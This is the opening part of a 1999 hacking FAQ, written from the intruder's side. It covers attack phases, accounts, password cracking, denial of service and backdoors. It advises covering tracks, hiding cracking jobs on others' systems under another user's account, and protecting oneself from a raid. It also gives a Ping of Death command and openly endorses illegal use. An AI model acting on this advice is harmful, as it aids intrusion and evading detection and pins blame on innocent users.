informis
/
textfiles
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
textfiles/hacking/hackfaq.txt

6403 lines
276 KiB
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

The Hack FAQ
Simple Nomad (thegnome@nmrc.org)
January 31, 1999
This FAQ is intended to show and explain the steps and techniques
behind hacking. While it serves both admin and hacker alike, the per-
spective is from the intruder.
______________________________________________________________________
Table of Contents
1. General FAQ Info
1.1 How do I add to this FAQ?
1.2 How was this FAQ prepared?
1.3 Is this FAQ available by anonymous FTP or WWW?
1.4 What is the mission and goal of the FAQ?
1.5 Where is the disclaimer?
1.6 Contributions (and thanks to...)
1.7 Other credits...
1.8 Changelog
2. Attack Basics
2.1 What are the four steps to hacking?
3. Account Basics
3.1 What are accounts?
3.2 What are groups?
4. Password Basics
4.1 What are some password basics?
4.2 Why protect the hashes?
4.3 What is a "dictionary" password cracker?
4.4 What is a "brute force" password cracker?
4.5 Which method is best for cracking?
4.6 What is a "salt"?
4.7 What are the "dangers" of cracking passwords?
5. Denial of Service Basics
5.1 What is "Denial of Service"?
5.2 What is the Ping of Death?
5.3 What is a SYN Flood attack?
5.4 What are other popular Denial of Service attacks?
6. Misc Info
6.1 What is a "backdoor"?
6.2 Why do I care about auditing, accounting, and logging?
6.3 What are some different logging techniques used by Admins?
6.4 Why should I not just delete the log files?
6.5 What is a buffer overflow?
7. NT Basics
7.1 What are the components of NT security?
7.2 How does the authentication of a user actually work?
7.3 What is "standalone" vs. "workgroup" vs. "domain"?
7.4 What is a Service Pack?
7.5 What is a Hot Fix?
7.6 Where are Service Packs and Hot Fixes?
7.7 What's with "C2 certification"?
7.8 Are there are interesting default groups to be aware of?
7.9 What are the default directory permissions?
7.10 Are there any special restrictions surrounding the Administrative Tools group in Presentation Manager?
7.11 What is the Registry?
7.12 What are hives?
7.13 Why is the Registry like this and why do I care?
8. NT Accounts
8.1 What are common accounts and passwords in NT?
8.2 What if the Sys Admin has renamed the Administrator account?
8.3 How can I figure out valid account names for NT?
8.4 What can null sessions to an NT machine tell me?
9. NT Passwords
9.1 How do I access the password file in NT?
9.2 What do I do with a copy of SAM?
9.3 What's the full story with NT passwords?
9.4 How does brute force password cracking work with NT?
9.5 How does dictionary password cracking work with NT?
9.6 I lost the NT Administrator password. What do I do?
9.7 How does a Sys Admin enforce better passwords?
9.8 Can an Sys Admin prevent/stop SAM extraction?
9.9 How is password changing related to "last login time"?
10. NT Console Attacks
10.1 What does direct console access for NT get me?
10.2 What about NT's file system?
10.3 What is Netmon and why do I care?
11. NT Client Attacks
11.1 What is GetAdmin.exe and Crash4.exe?
11.2 Should I even try for local administrator access?
11.3 I have guest remote access. How can I get administrator access?
11.4 What about %systemroot%\system32 being writeable?
11.5 What if the permissions are restricted on the server?
11.6 What exactly does the NetBios Auditing Tool do?
11.7 What is the "Red Button" bug?
11.8 What about forging DNS packets for subversive purposes?
11.9 What about shares?
11.10 How do I get around a packet filter-based firewall?
11.11 I hack from my Linux box. How can I do all that GUI stuff on remote NT servers?
12. NT Denial of Service
12.1 What can telnet give me in the way of denial of service?
12.2 What can I do with Samba?
12.3 What's with ROLLBACK.EXE?
12.4 What is an OOB attack?
12.5 Are there any other Denial of Service attacks?
13. NT Logging and Backdoors
13.1 Where are the common log files in NT?
13.2 How do I edit/change NT log files without being detected?
14. NT Misc. Attack Info
14.1 How is file and directory security enforced?
14.2 What is NTFS?
14.3 Are there are vulnerabilities to NTFS and access controls?
14.4 What is Samba and why is it important?
14.5 How do I bypass the screen saver?
14.6 How can I detect that a machine is in fact NT on the network?
14.7 Can I do on-the-fly disk encryption on NT?
14.8 Does the FTP service allow passive connections?
14.9 What is this "port scanning" you are talking about?
14.10 Does NT have bugs like Unix' sendmail?
14.11 How is password changing related to "last login time"?
14.12 Can sessions be hijacked?
14.13 Are "man in the middle" attacks possible?
14.14 What about TCP Sequence Number Prediction?
14.15 What's the story with buffer overflows on NT?
15. Netware Basics
15.1 )HEADING
16. Netware Accounts
16.1 What are common accounts and passwords for Netware?
16.2 How can I figure out valid account names on Netware?
17. Netware Passwords
17.1 How do I access the password file in Netware?
17.2 What's the full story with Netware passwords?
17.3 How does password cracking work with Netware?
17.4 How does password cracking work with Netware?
17.5 Can an Sys Admin prevent/stop Netware password hash extraction?
17.6 Can I reset an NDS password with just limited rights?
17.7 What is OS2NT.NLM?
17.8 How does password encryption work?
17.9 Can I login without a password?
17.10 What's with Windows 95 and Netware passwords?
18. Netware Console Attacks
18.1 What's the "secret" way to get Supe access Novell once taught CNE's?
18.2 How do I use SETPWD.NLM?
18.3 I don't have SETPWD.NLM or a disk editor. How can I get Supe access?
18.4 What's the "debug" way to disable passwords?
18.5 How do I defeat console logging?
18.6 Can I set the RCONSOLE password to work for just Supervisor?
18.7 How can I get around a locked MONITOR?
18.8 Where are the Login Scripts stored in Netware 4.x and can I edit them?
18.9 What if I can't see SYS:_NETWARE?
18.10 So how do I access SYS:_NETWARE?
18.11 How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
18.12 What else can be done with console access?
19. Netware Client Attacks
19.1 What is the cheesy way to get Supervisor access?
19.2 How can I login without running the System Login Script in Netware 3.x?
19.3 How can I get IP info from a Netware server remotely?
19.4 Does 4.x store the LOGIN password to a temporary file?
19.5 Everyone can make themselves equivalent to anyone including Admin. How?
19.6 Can Windows 95 bypass NetWare user security?
19.7 What is Packet Signature and how do I get around it?
20. Netware Denial of Service
20.1 How can I abend a Netware server?
20.2 Will Windows 95 cause server problems for Netware?
20.3 Will Windows 95 cause network problems for Netware?
21. Netware Logging and Backdoors
21.1 How do I leave a backdoor for Netware?
21.2 What is the rumored "backdoor" in NDS?
21.3 What is the bindery backdoor in Netware 4.x?
21.4 Where are the common log files in Netware?
21.5 What is Accounting?
21.6 How do I defeat Accounting?
21.7 What is Intruder Detection?
21.8 How do I check for Intruder Detection?
21.9 What are station/time restrictions?
21.10 How can I tell if something is being Audited in Netware 4.x?
21.11 How can I remove Auditing if I lost the Audit password?
21.12 What is interesting about Netware 4.x's licensing?
21.13 What is the Word Perfect 5.1 trick when running Netware 3.x over DOS?
22. Netware Misc. Attack Info
22.1 How do I spoof my node or IP address?
22.2 How can I see hidden files and directories?
22.3 How do I defeat the execute-only flag?
22.4 How can I hide my presence after altering files?
22.5 What is a Netware-aware trojan?
22.6 What are Trustee Directory Assignments?
22.7 Are there any default Trustee Assignments that can be exploited?
22.8 What are some general ways to exploit Trustee Rights?
22.9 Can access to .NCF files help me?
22.10 Can someone think they've logged out and I walk up and take over?
22.11 What other Novell and third party programs have holes that give "too much access"?
22.12 How can I get around disk space requirements?
22.13 How do I remotely reboot a Netware 3.x file server?
22.14 What is Netware NFS and is it secure?
22.15 Can sniffing packets help me break into Netware servers?
22.16 What else can sniffing around Netware get me?
22.17 Do any Netware utilities have holes like Unix utilities?
22.18 Where can I get the Netware APIs?
22.19 Are there alternatives to Netware's APIs?
22.20 How can I remove NDS?
22.21 What are security considerations regarding partitions of the tree?
22.22 Can a department "Supe" become a regular Admin to the entire tree?
22.23 Are there products to help improve Netware's security?
22.24 Is Netware's Web server secure?
22.25 What's the story with Netware's FTP NLM?
22.26 Can an IntranetWare server be compromised from the Internet?
22.27 Are there any problems with Novell's Groupwise?
22.28 Are there any problems with Netware's Macintosh namespace?
22.29 What's the story with buffer overflows on Netware?
23. Netware Mathematical/Theoretical Info
23.1 How does the whole password/login/encryption thing work?
23.2 Are "man in the middle" attacks possible?
23.3 Are Netware-aware viruses possible?
23.4 Can a trojaned LOGIN.EXE be inserted during the login process?
23.5 Is anything "vulnerable" during a password change?
23.6 Is "data diddling" possible?
24. Unix Accounts
24.1 What are common accounts and passwords for Unix?
24.2 How can I figure out valid account names for Unix?
25. Unix Passwords
25.1 How do I access the password file in Unix?
25.2 What's the full story with Unix passwords?
25.3 How does brute force password cracking work with Unix?
25.4 How does dictionary password cracking work with Unix?
25.5 How does a Sys Admin enforce better passwords and password management?
25.6 So what can I learn with a password file from a heavily secured system?
26. Unix Local Attacks
26.1 Why attack locally?
26.2 How do most exploits work?
26.3 So how does a buffer overflow work?
27. Unix Remote Attacks
27.1 What are remote hacks?
28. Unix Logging
28.1 Where are the common log files in Unix?
28.2 How do I edit/change the log files for Unix?
29. Hacker Resources
29.1 What are some security-related WWW locations?
29.2 What are some security-related USENET groups?
29.3 What are some security-related mailing lists?
29.4 What are some other FAQs?
29.5 Where are all of these files mentioned in the FAQ?
______________________________________________________________________
11.. GGeenneerraall FFAAQQ IInnffoo
The following was originally compiled in June 1998. It answers some
basic questions about this FAQ and hacking.
11..11.. HHooww ddoo II aadddd ttoo tthhiiss FFAAQQ??
Send comments about info in this FAQ to faq@nmrc.org. Simple flames
about typos, the "that's not right" one liners will be ignored. If you
wish to contribute corrections please include your research and source
of facts. Also if you wish to add your information, I will include it
if I can include your email address, unless I can verify the info
independently. This way if someone has questions, they can bug you,
not me.
It is prefered that you include OS flavor and versions, and other
conditions used in testing. Theoretical discussion is fine, just try
and back up your findings. Also note that we may often rewrite your
submissions to match the "elite" nature of our FAQ ;-)
Anonymous submissions are okay. Encrypt them if you like, here's
Simple Nomad's PGP key (also available from MIT's key server):
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAzEQrjMAAAEEANaIf2AiInhVwmrZEFZ5V2eyZfuJfjoI9unJwRhokwJ4TtVh
ApEwjXVEbJBCPRKOHzibi5IEF2BirpzzlSy0Aj82yZk/iqYtJO60S0aycSPNPBl5
BmoLJaUjxakmnMMXOl3qdeWWtScpP7B4QTHyfsHRvQz0HSUPxh6RUqAiTzdxAAUR
tCRTaW1wbGUgTm9tYWQgPHRoZWdub21lQGZhc3RsYW5lLm5ldD4=
=v0Xj
-----END PGP PUBLIC KEY BLOCK-----
And the PGP 5 key...
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0
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
pRIi/CztAg==
=c+/T
-----END PGP PUBLIC KEY BLOCK-----
11..22.. HHooww wwaass tthhiiss FFAAQQ pprreeppaarreedd??
Testing for a large part of the material was completed in the NMRC lab
and at various field locations. Most of the tools used during testing
are available from the NMRC web site in the files section (alternate
locations are listed in the resources section for these tools).
Specific testing for Netware was done in the lab and at field
locations. For NT the lab was used, but due to a recent "moment of
clarity" NT is no longer operational in the labs. Field locations will
be used from now on. Web related hacking information has been done in
the field but due to a couple of odd related projects we currently
have resources for this type of testing in the lab. Unix testing is
also done in the lab, but primarily limited to Linux, OpenBSD,
FreeBSD, and AIX.
Technical info has been discovered (read "quoted without permission
because it was out in a public forum so I leeched it") and collected,
often the technical detail is complete and self-explanatory in its
original source, so I feel no reason to "test" it in a lab
environment. I try and quote original material when I can, if I have
left you out, let me know.
The actual FAQ was assembled from the various text files and turned
into SGML source. The SGML-Tools package was used and only slightly
altered to create these web pages. This gives us a single starting
place during revisions and the opportunity for a multitude of output
formats.
11..33.. IIss tthhiiss FFAAQQ aavvaaiillaabbllee bbyy aannoonnyymmoouuss FFTTPP oorr WWWWWW??
This FAQ is available online from the following locations:
www.nmrc.org/faqs/hackfaq/index.html
<http://www.nmrc.org/faqs/hackfaq/index.html>.
This FAQ is available in other formats, including its raw SGML. See
the www.nmrc.org/faqs/index.html <http://www.nmrc.org/faqs/index.html>
page for details.
Currently due to the new processing of the information manual mirrors
will not be supported. Once we've implemented the processes, we will
more than likely be providing updates to this FAQ once a month.
11..44.. WWhhaatt iiss tthhee mmiissssiioonn aanndd ggooaall ooff tthhee FFAAQQ??
If I said "to teach hacking" I would be lying. First off, no
documentation will teach you how to hack. This FAQ answers common
questions regarding some of the underlying mechanics from a hacker
perspective. Second, I will not be drawn into a debate regarding usage
of the term hacker, cracker, phreaker, hacking, cracking, and will
certainly not be drawn into a discussion on the moral and legal issues
involved. The material is what it is -- no more, no less, and I use
terms the way I see fit to answer a question from the intruder
perspective.
So the goal here is simply information disemination.
11..55.. WWhheerree iiss tthhee ddiissccllaaiimmeerr??
There is no disclaimer. Disclaimers are lame and idiotic LawyerSpeak.
I don't care how you use this information. If you use it to break the
law, fine. If you get caught, fine. If you use it to secure a system,
fine. I am responsible for myself, therefore I need no "disclaimer".
Instead, here is my EXclaimer -- PISS OFF.
The only thing more lame than a disclaimer on a web page is a
disclaimer in a sig file (we all know how millions of dollars in
attorney's fees are saved by sig files every year).
11..66.. CCoonnttrriibbuuttiioonnss ((aanndd tthhaannkkss ttoo......))
Here are a few of our many contributors of info:
+o The LAN God
+o Teiwaz teiwaz@wolfe.net
+o Fauzan Mirza fauzan@dcs.rhbnc.ac.uk
+o David A Wagner daw@lagos.CS.Berkeley.EDU
+o Diceman mailto:diceman@fl.net.au
+o PEME_Inc
+o Craig craigt@online1.magnus1.com
+o Einar Blaberg einarb@hem.passagen.se
+o SIC -- Hardware, Cyberius, and Jungman
+o Michael Edwards m2mike@yahoo.com
+o Jacob Ayres jayres@wcrtc.net
...and various sources who wish to remain anonymous...
11..77.. OOtthheerr ccrreeddiittss......
Tech Support (and special thanks to):
+o itsme - infamous Netware Netherlands hack fame
+o Greg Miller - Programmer/Analyst (home page in the Resources
section)
Lab Support:
Ace, Mike, Knobster, Up-uat, Fourth Stooge, B.C.
Documentation and Compilation:
+o imnsho@nmrc.org (Hole)
Music Heard During Revising/Editing/Testing:
+o Nine Inch Nails <http://www.nin.net/>
+o Live
+o "Lost Highway" Soundtrack
+o "Spawn" Soundtrack
+o Rammstein <http://www.rammstein.com/>
+o Metallica <http://www.metclub.com/main.html>
+o Marilyn Manson
11..88.. CChhaannggeelloogg
Here are the changes that have been made to this FAQ:
September 11, 1998
+o Updated information in 16.2
+o Added 8.4, 21.13
22.. AAttttaacckk BBaassiiccss
22..11.. WWhhaatt aarree tthhee ffoouurr sstteeppss ttoo hhaacckkiinngg??
While there is no hard and fast rule to hacking, most system
intrusions can be divided into four steps. Depending on techniques
involved, there could be less or more, but you should get the basic
idea.
1. Learn as much as possible about your target before the attack. The
techniques involved can be passive to bordering on mini-attacks
themselves. And plan out your goals. Using your knowledge gained
develop a plan, no matter how small or quick the hack is.
2. Initial access to the system. No doubt about it, this is the real
attack part. This could be anything from ftp access to a sendmail
bug to logging in as a "regular" user. It should either create an
opportunity for indirect or direct access.
3. Full system access. At this level most goals developed can be
carried out -- password file retrieved for cracking, trojan
installed, secret file copied, etc. So this stage usually involves
either taking advantage of a bug that allows higher priviledges to
be obtained, taking advantages of misconfigured system parameters,
or a combination of both.
4. Tracks are covered and backdoors installed. System logging is
doctored to remove traces of the attack and what was done during
the attack, and either defenses are lowered or files are tampered
with to allow quicker and easier access. Some experienced hackers
even patch the system to keep less experienced hackers out of the
system (who might possibly tip off a Sys Admin through clumsiness).
Once step four is complete, hackers will refer to this system being
owned.
Of course some steps might be repeated, especially step two. Or maybe
an entire series of mini "1 2 3 4" "1 2 3 4" attacks are used in
concert to obtain access to a system or achieve a goal.
33.. AAccccoouunntt BBaassiiccss
This section deals with the basics regarding computer accounts.
33..11.. WWhhaatt aarree aaccccoouunnttss??
Accounts are a way of identifying users to a computer system. Other
terms you may see or here are user IDs, IDs, logins, or some other
variant. Most systems when initially accessed will require you to
provide an account name, and will usually require you follow up with a
password. Not knowing a password sucks, but not knowing a valid
account name sucks more.
Account names are usually something either very common, such as a part
of the user's name (like tshimomura or kmitnick), part of a user's
function (like dbadmin or webmaster), or sometimes kind of goofy, like
employee numbers (like u121), or something made up (like up-uat or
imnsho). Usually if you can find out one or two regular user account
names, it might be possible to guess additional names -- particularly
if employee numbers or account numbers are used.
Accounts can usually be divided up into four categories -- god,
special, regular, and guest. A god account can usually do anything
system-wise, from adding more users to changing anybody's password to
complete system reconfiguration. As a hacker, this is typically your
objective. Special accounts are usually either accounts used by the
system itself or accounts that fulfill some type of administrative
roll without full god access. Regular accounts are simply that -- the
accounts used by regular users for their normal tasks. And guest
accounts are accounts designed for anyone to use -- these are usually
there as a convenience for those who do not have a regular account on
the system. A good example of this is anonymous ftp. Typically guest
accounts have fairly restrictive access to the system, especially on
publicly accessible systems.
33..22.. WWhhaatt aarree ggrroouuppss??
Groups are simply groupings of users. They are primarily used to ease
system administration. For example, instead of having to assign access
to a new hard drive to the forty accounting users, an admin just has
to assign the accounting group the access. Even special privileges can
often be assigned by group, such as the ability to manage a set of
programs or system functions like printing.
Most modern systems allow accounts to belong to more than one group.
44.. PPaasssswwoorrdd BBaassiiccss
This section deals with the basics regarding passwords.
44..11.. WWhhaatt aarree ssoommee ppaasssswwoorrdd bbaassiiccss??
Most accounts on a computer system usually have some method of
restricting access to that account, usually in the form of a password.
When accessing the system, the user has to present a valid ID to use
the system, followed by a password to use the account. Most systems
either do not echo the password back on the screen as it is typed, or
they print an asterisk in place of the real character.
On most systems the password is typically ran through some type of
algorithm to generate a hash. The hash is usually more than just a
scrambled version of the original text that made up the password, it
is usually a one-way hash. The one-way hash is a string of characters
that cannot be reversed into its original text. You see, most systems
do not "decrypt" the stored password during authentication, they store
the one-way hash. During the login process, you supply an account and
password. The password is ran through an algorithm that generates a
one-way hash. This hash is compared to the hash stored on the system.
If they are the same, it is assumed the proper password was supplied.
Cryptographically speaking, some algorithms are better than others at
generating a one-way hash. The main operating systems we are covering
here -- NT, Netware, and Unix -- all use an algorithm that has been
made publically available and has been scrutinized to some degree.
To "crack" a password requires getting a copy of the one-way hash
stored on the server, and then using the algorithm generate your own
hash until you get a match. When you get a match, whatever word you
used to generate your hash will allow you to log into that system.
Since this can be rather time-consuming, automation is typically used.
There are freeware password crackers available on the Internet for NT,
Netware, and Unix.
44..22.. WWhhyy pprrootteecctt tthhee hhaasshheess??
If the one-way hashes are not the password itself but a mathematical
derivative, why should they be protected? Well, since the algorithm is
already known, a password cracker could be used to simply encrypt the
possible passwords and compare the one-way hashes until you get a
match. There are two types of approaches to this -- dictionary and
brute force.
Usually the hashes are stored in a part of the system that has extra
security to limit access from potential crackers.
44..33.. WWhhaatt iiss aa ""ddiiccttiioonnaarryy"" ppaasssswwoorrdd ccrraacckkeerr??
A dictionary password cracker simply takes a list of dictionary words,
and one at a time encrypts them to see if they encrypt to the one way
hash from the system. If the hashes are equal, the password is
considered cracked, and the word tried from the dictionary list is the
password.
Some of these dictionary crackers can "manipulate" each word in the
wordlist by using filters. These rules/filters allow you to change
"idiot" to "1d10t" and other advanced variations to get the most from
a word list. The best known of these mutation filters are the rules
that come with Crack (for Unix). These filtering rules are so popular
they have been ported over to cracking software for NT.
If your dictionary cracker does not have manipulation rules, you can
"pre-treat" the wordlist. Therion's Password Utility for DOS is a good
example of a wordlist manipulation tool that allows all kinds of ways
to filter, expand, and alter wordlists. With a little careful
planning, you can turn a small collection of wordlists into a very
large and thorough list for dictionary crackers without those fancy
word manipulations built in.
44..44.. WWhhaatt iiss aa ""bbrruuttee ffoorrccee"" ppaasssswwoorrdd ccrraacckkeerr??
A brute force cracker simply tries all possible passwords until it
gets the password. From a cracker perspective, this is usually very
time consuming. However, given enough time and CPU power the password
eventually gets cracked.
Most modern brute force crackers allow a number of options to be
specified, such as maximum password length or characters to brute
force with.
44..55.. WWhhiicchh mmeetthhoodd iiss bbeesstt ffoorr ccrraacckkiinngg??
It really depends on your goal, the cracking software you have, and
the operating system you are trying to crack. Let's go through several
scenarios.
If you remotely retrieved the password file to a system through some
system bug, your goal may be to simply get logged into that system.
With the password file you now have the user accounts and the hashes.
A dictionary attack seems like the quickest method, as you may simply
want access to the box. This is typical if you have a method of
leveraging basic access to gain god status.
If you already have basic access and used this access to get the
password file, maybe you have a particular account you wish to crack.
While a couple of swipes with a dictionary cracker might help, brute
force may be the way to go.
If your cracking software does both dictionary and brute force, and
both are quite slow, you may just wish to kick off a brute force
attack and then go about your day. By all means I recommend a
dictionary attack with a pre-treated wordlist first, followed up by
brute force only on the accounts you really want the password to.
You should pre-treat your wordlists if the machine you are going to be
cracking from bottlenecks more at the CPU than at the disk controller.
For example, some slower computers with extremely fast drives make
good candidates for large pre-treated wordlists, but if you have the
CPU cycles to spare you might want to let the cracking program's
manipulation filters do their thing.
A lot of serious hackers have a large wordlist in both regular and
pre-treated form to accommodate either need.
44..66.. WWhhaatt iiss aa ""ssaalltt""??
To increase the overhead in cracking passwords, some algorithms employ
salts to add further complexity and difficulty to the cracking of
passwords. These salts are typically 2 to 8 bytes in length, and
algorithmically introduced to further obfuscate the one-way hash. On
the major operating system covered here, only NT does not use a salt.
The specifics for salts for both Unix and Netware systems are covered
in their individual password sections.
Historically the way cracking has been done is to take a potential
password, encrypt it and produce the hash, and then compare the result
to each account in the password file. By adding a salt, you force the
cracker to have to read the salt in and encrypt the potential password
with each salt present in the password file. This increases the amount
of time to break ALL of the passwords, although it is certainly no
guarantee that the passwords can't be cracked. Because of this most
modern password crackers when dealing with salts do give the option of
checking a specific account.
44..77.. WWhhaatt aarree tthhee ""ddaannggeerrss"" ooff ccrraacckkiinngg ppaasssswwoorrddss??
The dangers are quite simple, and quite real. If you are caught with a
password file from a system you do not have legitimate access to, you
are technically in possession of stolen property in the eyes of the
law. For this reason some hackers like to run cracking on someone
else's systems, thereby limiting their liability. I would only
recommend doing this on a system you have a legitimate or well
established account on if you wish to keep a good eye on things, but
perhaps have a way of running the cracking software under a different
account than your own. This way, if the cracking is discovered (as it
often is -- cracking is fairly CPU intensive), it looks to belong to
someone else. Obviously you would want to run this under system
adminstrator priviledges as you may have a bit more control, such as
assigning lower priority to the cracking software, and hiding the
results (making it less obvious to the real administrator). Being on a
system you have legit access to also allows you better access to check
on the progress. Of course if it is known you are a hacker, you'll
still be the first to be blamed whether the cracking software is yours
or not!
Running the cracking software in the privacy of your own home has the
advantage of allowing you to throw any and all computing power you
have at your disposal at a password, but if caught (say you get
raided) then there is little doubt whose cracking job is running ;-)
but there are a couple of things you can do to protect yourself.
First, encrypt your files. Only decrypt them when you are viewing
them, and wipe and/or encrypt them back after you are done viewing
them. Also, have a legitimate copy of the OS whose password you are
trying to correct, and import the one-way hash into your own password
file. Therefore you are cracking "your own" passwords to protect your
own system. Granted this isn't exactly foolproof, but it could only
help.
55.. DDeenniiaall ooff SSeerrvviiccee BBaassiiccss
This section covers basic info regarding "Denial of Service".
55..11.. WWhhaatt iiss ""DDeenniiaall ooff SSeerrvviiccee""??
Denial of Service (DoS) is simply rendering a service offered by a
workstation or server unavailable to others. This is a controversial
subject, since some people think that DoS is not a hack, or rather
juvenile and petty. While I can't think of very many reasons why you
might want to engage in DoS, I still will continue to include this
type of material in the Hack FAQ. What is more sad -- the fact that I
include them, or the fact that there are so many of them?
Regardless of your feelings, DoS has been steadily gaining in
popularity, be it hackers mad at other hackers, sys admins mad at
spammers, or whatever -- virtually everyone I've run into that is
aware of the potential of DoS at least has software to do it, admins
included.
Reasons that a hacker might want to resort to DoS might include the
following:
+o A trojan has been installed, but a reboot is required to activate
it.
+o A hacker wishes to cover their tracks VERY DRAMATICALLY, or cover
CPU activity with a random crash to make the site think it was
"just a fluke".
+o The hacker isn't a hacker at all, but a pissed off lamer who has a
poor outlook and too much free time.
+o The hacker is acting out of the need (or delusion) that the DoS
serves a greater good, such as a DoS attack on Pro Life sites by
Pro Choice believers.
Reasons that a Sys Admin might use DoS:
+o A Sys Admin may want to ensure that their site is NOT vulnerable by
testing out the latest patch.
+o A Sys Admin has a runaway process on a server causing problems and
cannot physically access the box (I have officially done this twice
now).
+o The Sys Admin isn't a Sys Admin at all, but a pissed off lamer who
has a poor outlook and too much free time.
55..22.. WWhhaatt iiss tthhee PPiinngg ooff DDeeaatthh??
The Ping of Death is a large ICMP packet sent by a workstation to a
target. The target receives the ping in fragments and starts
reassembling the packet. However, due to the size of the packet once
it is reassembled it is too big for the buffer and overflows it. This
causes unpredictable results, such as reboots or system hangs.
Windows 95 and Windows NT are capable of sending such a packet. By
simply typing in "ping -165527 -s 1 target" you can send such a ping.
There are also source code examples available for Unix platforms that
allow large ping packets to be constructed. These sources are freely
available on the Internet.
Most systems have patches available to prevent Ping of Death from
working.
55..33.. WWhhaatt iiss aa SSYYNN FFlloooodd aattttaacckk??
In the TCP/IP protocol, a three way handshake takes place as a service
is connected to. First in a SYN packet from the client, with which
the service responses with a SYN-ACK. Finally the client responds to
the SYN-ACK and the conversation is considered started.
A SYN Flood attack is when the client does not response to the SYN-
ACK, tying up the service until the service times out, and continues
to send SYN packets. The source address of the client is forged to a
non-existant host, and as long as the SYN packets are sent faster than
the timeout rate of the TCP stack waiting for the time out, the
resources of the service will be tied up.
This is a simplified version of what exactly happens. For more
elaborate details and sample Linux code for creating a flood, see
Phrack 48 file 13 by daemon9.
55..44.. WWhhaatt aarree ootthheerr ppooppuullaarr DDeenniiaall ooff SSeerrvviiccee aattttaacckkss??
Most others involve ICMP packets (re: ping) and creating massive
floods of ICMP traffic, or other packet malformations. Search the net
for smurf.c or teardrop.c for more details.
66.. MMiisscc IInnffoo
This section contains miscellaneous information regarding hacking
basics.
66..11.. WWhhaatt iiss aa ""bbaacckkddoooorr""??
A backdoor is simply a way back into a system that not only bypasses
existing security to regain access, but may even defeat any additional
security enhancements added onto a system.
Backdoors can range from the simple to the exotic. Simple backdoors
might include creating a new user account just for your intrusion
needs, or taking over a little-used account. More complex backdoors
may bypass regular access completely and involve trojans, such as a
login program that gives you administrative access if you type in a
special password.
Backdoors can be chained together, which is the technique used by most
hackers. This involves a combination of techniques. For example, one
or more accounts that have basic user access may have had their
passwords cracked, and one or more accounts may be created by the
